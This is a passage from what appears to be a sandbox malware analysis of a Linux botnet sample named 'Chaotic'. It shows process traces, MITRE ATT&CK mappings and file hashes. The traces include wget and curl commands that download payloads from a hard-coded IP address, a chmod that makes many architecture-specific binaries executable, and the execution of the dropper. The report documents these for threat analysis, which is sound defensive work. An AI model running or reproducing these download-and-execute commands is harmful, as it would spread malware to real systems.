  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1665
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1666
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1672
- /usr/bin/curl
  curl -O http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.sh4
  2⤵
  - Writes file to tmp directory
  PID:1673
- /bin/chmod
  chmod +x busybox Chaotic config-err-B16Nfx netplan_3x_bqi05 ohshit.sh snap-private-tmp ssh-h2rrff9FfEHx systemd-private-52ec044eb6684ffbb055130f3daff720-bolt.service-LoFpnw systemd-private-52ec044eb6684ffbb055130f3daff720-colord.service-rSYjaz systemd-private-52ec044eb6684ffbb055130f3daff720-ModemManager.service-V3C0yX systemd-private-52ec044eb6684ffbb055130f3daff720-systemd-resolved.service-Vnprpb ub8ehJSePAfc9FYqZIT6.arc ub8ehJSePAfc9FYqZIT6.arm ub8ehJSePAfc9FYqZIT6.arm5 ub8ehJSePAfc9FYqZIT6.arm6 ub8ehJSePAfc9FYqZIT6.arm7 ub8ehJSePAfc9FYqZIT6.i686 ub8ehJSePAfc9FYqZIT6.m68k ub8ehJSePAfc9FYqZIT6.mips ub8ehJSePAfc9FYqZIT6.mips64 ub8ehJSePAfc9FYqZIT6.mpsl ub8ehJSePAfc9FYqZIT6.ppc ub8ehJSePAfc9FYqZIT6.sh4 ub8ehJSePAfc9FYqZIT6.sparc ub8ehJSePAfc9FYqZIT6.x86 ub8ehJSePAfc9FYqZIT6.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1675
- /tmp/Chaotic
  ./Chaotic
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1676

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Chaotic

Path /tmp/Chaotic
Size 34KB
SHA256 c13c619bb3beb9caa94910facaaa8b7947f06e475277a0cab0f0729e6e56df0b
MD5 fbc810fcc2d5f66b651b0266d06fb4a1
SHA1 e47152bacb502cac93311caacc25fa8bca24f24b
SHA512 47e9385eb309569dcd2bab751d71ba6324e85f1c3e8885cb99f147350711be49c839e7e04809beaa6885c10619c74ecd431fd39e02d39997e33d465f46a6eede
SSDEEP 768:vCkGi0D/4BfI7dZnRh7/IN0BIesyoXKot5V4oEAIpUMnbcuyD7UHQRjL:vBGbyqhXrTBrQX4oEyMnouy8Hy/
MD5 SHA1 SHA512 SSDEEP

Submit Download

busybox

Path /tmp/busybox
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
MD5 SHA1 SHA512 SSDEEP

Submit Download

ub8ehJSePAfc9FYqZIT6.arc

Path /tmp/ub8ehJSePAfc9FYqZIT6.arc
Size 113KB
SHA256 90b7e578af0714b52a06ee50dce6db037bae1aabf28c3876f3d2f42740443bfa
MD5 770fc2fcb82f2719e9452fa7fc4cee47
SHA1 278dba280905234b4c3ed3872a0053c5ca5127b9
SHA512 b453171f95c124b884117662b92097ad308239e01fce24a3684e1ee48b83fd6ad070f645b2058dcd0c20ce7d055768c4292c6c4f01e04b0daab6fdbe91ad4256
SSDEEP 1536:pcdlYSuiBMW3zC8aRGGTtJM/qrlpmxJ6nDgDd/LWW:8YSZ3e8ZE3MYlphDgDdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads